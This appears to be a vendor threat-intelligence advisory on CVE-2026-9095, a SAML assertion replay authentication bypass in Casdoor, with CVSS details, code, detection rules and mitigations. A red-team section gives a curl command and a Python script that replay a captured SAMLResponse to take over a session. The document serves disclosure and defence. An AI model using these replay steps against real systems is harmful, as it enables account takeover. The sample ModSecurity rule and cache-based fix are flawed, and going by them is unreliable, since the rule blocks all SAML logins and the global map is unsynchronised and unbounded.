CVE-2026-9095

Executive Summary

CVE-2026-9095 is a critical authentication bypass vulnerability in Casdoor, an open-source identity and access management (IAM) platform. The flaw resides in the SAML Service Provider (SP) implementation, specifically within the ParseSamlResponse() function in object/saml_sp.go. Versions 2.362.0 and earlier fail to implement any form of SAML assertion replay protection. An attacker who captures a valid SAML assertion (e.g., via network sniffing, compromised IdP, or man-in-the-middle) can replay that assertion to the Casdoor SP endpoint to obtain an authenticated session for the assertion’s subject. This bypasses all password and MFA requirements, potentially granting access to any user account, including administrators. The vulnerability is classified as CWE-294 (Authentication Bypass by Capture-replay) and carries a CVSS score of 9.8 (Critical). No public exploit code or patch is currently available.

Supply Chain & Package Security

Casdoor is a Go-based application. The vulnerable component is part of the core Casdoor server binary. Organizations using Casdoor as a SAML SP should treat this as a critical supply chain risk, as the vulnerability exists in the upstream source code and affects all deployments running the affected versions. No official patch has been released as of this report.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network – The attack can be executed remotely over the network.
• Attack Complexity (AC): Low – No special conditions are required; the attacker only needs a valid SAML assertion.
• Privileges Required (PR): None – No authentication is needed to initiate the attack.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The vulnerable component and the affected resource are the same.
• Confidentiality (C): High – Full access to all user data, including secrets.
• Integrity (I): High – The attacker can modify data and perform actions as the impersonated user.
• Availability (A): High – The attacker can potentially lock out users or disrupt services.

Threat Level: Critical. The vulnerability allows complete account takeover with no user interaction, making it highly attractive for ransomware groups and APT actors.

Deep Dive & Mechanics

The vulnerability is rooted in the SAML SP authentication flow. When a user authenticates via a SAML Identity Provider (IdP), the IdP sends a SAML assertion to the Casdoor SP endpoint. The ParseSamlResponse() function in object/saml_sp.go processes this assertion.

Vulnerable Code Path:

1. ParseSamlResponse() calls sp.RetrieveAssertionInfo() to parse and validate the SAML response.
2. The function then immediately maps the parsed assertion to a user session using saml_sp_user or similar logic.
3. Missing Replay Protection: The code does not:
   • Cache the assertion ID (InResponseTo or AssertionID) to detect duplicates.
   • Enforce the OneTimeUse condition (if present in the assertion).
   • Check any NotBefore or NotOnOrAfter conditions beyond basic validation.
   • Maintain a nonce or timestamp-based replay cache.

Attack Flow:

1. Capture: The attacker intercepts a valid SAML assertion (e.g., via network traffic, compromised IdP, or by tricking a user into authenticating through a malicious proxy).
2. Replay: The attacker sends the captured assertion to the Casdoor SP endpoint (e.g., /api/saml/callback).
3. Session Creation: Casdoor processes the assertion, creates a new session for the user identified in the assertion, and returns a session cookie.
4. Access: The attacker uses the session cookie to access the Casdoor dashboard or API with the privileges of the impersonated user.

Why It Works: The SAML specification requires SPs to implement replay detection, typically by storing the AssertionID and checking for duplicates. Casdoor’s implementation omits this entirely, making it trivially exploitable.

Vulnerable vs. Patched Code

Vulnerable Code (object/saml_sp.go - <= 2.362.0):

func ParseSamlResponse(samlResponse string) (*saml_sp_user, error) {
    // ... parsing logic ...
    assertionInfo, err := sp.RetrieveAssertionInfo(samlResponse)
    if err != nil {
        return nil, err
    }
    // No replay check here
    user := &saml_sp_user{
        Name:  assertionInfo.NameID,
        Email: assertionInfo.GetAttribute("email"),
        // ... other attributes ...
    }
    return user, nil
}

Patched Code (Hypothetical Fix):

var assertionCache = make(map[string]bool)

func ParseSamlResponse(samlResponse string) (*saml_sp_user, error) {
    // ... parsing logic ...
    assertionInfo, err := sp.RetrieveAssertionInfo(samlResponse)
    if err != nil {
        return nil, err
    }
    // Replay protection: check assertion ID
    assertionID := assertionInfo.AssertionID
    if assertionCache[assertionID] {
        return nil, fmt.Errorf("replay attack detected: assertion %s already used", assertionID)
    }
    assertionCache[assertionID] = true
    // Optional: enforce OneTimeUse condition
    if assertionInfo.OneTimeUse {
        // Already handled by cache
    }
    user := &saml_sp_user{
        Name:  assertionInfo.NameID,
        Email: assertionInfo.GetAttribute("email"),
        // ... other attributes ...
    }
    return user, nil
}

Note: The patched code is a conceptual fix. The actual patch may involve a database-backed cache or a distributed cache for multi-instance deployments.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A valid SAML assertion for a target user (e.g., admin@example.com).
• Network access to the Casdoor SP endpoint.

Step-by-Step Exploitation:

1. Capture a SAML Assertion: Use a tool like Burp Suite or mitmproxy to intercept a SAML response during a legitimate authentication flow.

   # Example using mitmproxy
   mitmproxy --mode transparent --listen-port 8080
   

2. Extract the Assertion: The SAML response is typically a base64-encoded XML blob in a form parameter named SAMLResponse.
3. Replay the Assertion:

   curl -X POST https://casdoor.example.com/api/saml/callback \
        -d "SAMLResponse=<base64_encoded_assertion>"
   

4. Use the Session: The response will contain a session cookie (e.g., casdoor_session_id). Use this cookie to access the Casdoor dashboard.

   curl -X GET https://casdoor.example.com/api/get-account \
        -H "Cookie: casdoor_session_id=<session_id>"
   

Automation Script (Python):

import requests

target = "https://casdoor.example.com/api/saml/callback"
assertion = "<base64_encoded_assertion>"

session = requests.Session()
response = session.post(target, data={"SAMLResponse": assertion})
print(f"Session cookie: {session.cookies.get('casdoor_session_id')}")

# Verify access
account = session.get("https://casdoor.example.com/api/get-account")
print(account.json())

Blue Team (Detection & Defense)

Detection:

• Monitor for multiple SAML authentication requests from the same IP within a short time window.
• Alert on SAML assertions with identical AssertionID values.
• Log all SAML response processing events and correlate with session creation.

Defense:

• Immediate: Disable SAML SP functionality if not in use. If required, implement a WAF rule to block repeated SAML responses with the same content.
• Long-term: Apply the vendor patch as soon as it becomes available. In the interim, consider using a reverse proxy that caches and validates SAML assertion IDs.

WAF Rule (ModSecurity):

SecRule REQUEST_BODY "SAMLResponse" "phase:2,id:1001,deny,status:403,msg:'SAML Replay Attack Detected'"

Indicators of Compromise (IOCs)

• Network IOCs:

  • Multiple identical SAML responses (same AssertionID) in logs.
  • Repeated POST requests to /api/saml/callback from the same source IP.
  • Unusual session creation times (e.g., multiple sessions for the same user in seconds).

• Host IOCs:

  • Log entries in Casdoor logs showing ParseSamlResponse calls with identical assertion IDs.
  • Unexpected session tokens in access logs for privileged accounts.

• Sample Log Entry (Suspicious):

  [2026-03-15 10:00:01] INFO ParseSamlResponse: assertionID=abc123 user=admin@example.com
  [2026-03-15 10:00:02] INFO ParseSamlResponse: assertionID=abc123 user=admin@example.com
  

Detection Engineering

YARA Rule

rule CVE_2026_9095_SAML_Replay {
    meta:
        description = "Detects Casdoor SAML replay attack indicators in logs"
        author = "Valters IT"
        date = "2026-03-15"
        cve = "CVE-2026-9095"
    strings:
        $s1 = "ParseSamlResponse" ascii wide
        $s2 = "assertionID=" ascii wide
        $s3 = "saml_sp_user" ascii wide
    condition:
        all of ($s*) and #s2 > 1
}

Sigma Rule

title: Casdoor SAML Replay Attack Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects multiple identical SAML assertion IDs in Casdoor logs
author: Valters IT
date: 2026/03/15
logsource:
    product: casdoor
    service: saml
detection:
    selection:
        EventID: 1001  # Custom event ID for SAML processing
        AssertionID: 
            - '*'
    condition: selection | count(AssertionID) by host > 1
falsepositives:
    - Legitimate retries due to network issues (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2026-9095 Casdoor SAML Replay Attack";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/saml/callback"; http_uri;
    content:"SAMLResponse"; http_client_body;
    pcre:"/SAMLResponse=[A-Za-z0-9+/=]{100,}/R";
    threshold: type both, track by_src, count 2, seconds 60;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable SAML SP: If SAML SP functionality is not critical, disable it in the Casdoor configuration.
2. Network Segmentation: Restrict access to the SAML callback endpoint to trusted IdP IP addresses only.
3. WAF Rules: Deploy the ModSecurity or Suricata rules provided above to detect and block replay attempts.

Long-Term Fix:

• Vendor Patch: Monitor the Casdoor GitHub repository for a patch. Apply it as soon as it is released.
• Custom Patch: If you have access to the source code, implement the replay protection logic shown in the "Patched Code" section above. Use a database-backed cache for production environments.

Workaround:

• IdP-Side Controls: Configure the IdP to include OneTimeUse conditions and short NotOnOrAfter timestamps in assertions. While this does not fully prevent replay, it reduces the window of opportunity.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact cti@valters-it.com.